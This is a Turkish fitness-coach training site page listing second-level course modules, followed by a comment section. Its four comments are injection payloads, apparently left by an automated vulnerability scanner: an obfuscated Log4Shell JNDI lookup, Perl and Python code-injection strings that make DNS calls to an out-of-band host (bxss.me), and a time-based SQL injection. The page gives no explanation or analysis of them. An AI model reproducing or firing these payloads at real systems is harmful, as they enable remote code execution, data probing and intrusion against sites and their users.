Uncategorized

2. Kademe Ders Notları

DambılAI - Yapay Zeka Asistanı
Merhaba! ben TVGFBF Yapay Zeka Asistanıyım! Sana nasıl yardımcı olabilirim?

VÜCUT AĞIRLIĞI EGZERSİZLERİ II-1

VÜCUT AĞIRLIĞI EGZERSİZLERİ II

TEMELGÜÇ

Temel Kuvvette Devamlılık I-II-1

Temel Hipertrofi Gelişimi II

TEMEL EKİPMAN TANITIMLARI VE UYGULAMALARI II-2

TEMEL EKİPMAN TANITIMLARI VE UYGULAMALARI II-1

Temel Maksimal Kuvvet Gelişimi 2-1

Temel Maksimal Kuvvet Gelişimi 1-2

ORTA SEVİYE ANTRENMAN TASARIMI

HEDEFE YÖNELİK I

HEDEFE YÖNELİK II

Fiziksel Uygunluk Testleri

2.Kademe Antrenör Eğitimi

Esneklik ve Mobilite Çalışmaları – 2-1

Bütün Vücut Denge ve Eklem Stabiliasyon Çalışmaları

80 thoughts on “2. Kademe Ders Notları”

  1. ${${:::::::::::::::::-j}ndi:dns${:::::::::::::::::-:}${::-/}${::-/}dns.log4j.009365.64201-7448.64201.4db55${::-.}1${::-.}bxss.me}}

  2. ‘.gethostbyname(lc(‘hitho’.’aorhhccsbd8c3.bxss.me.’)).’A’.chr(67).chr(hex(’58’)).chr(105).chr(69).chr(107).chr(76).’

  3. ‘+str(__import__(“time”).sleep(9))+__import__(“socket”).gethostbyname(“hitzzaztdflcac1dc0.”+”bxss.me”)+’

  4. (select(0)from(select(sleep(15)))v)/*’+(select(0)from(select(sleep(15)))v)+'”+(select(0)from(select(sleep(15)))v)+”*/

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir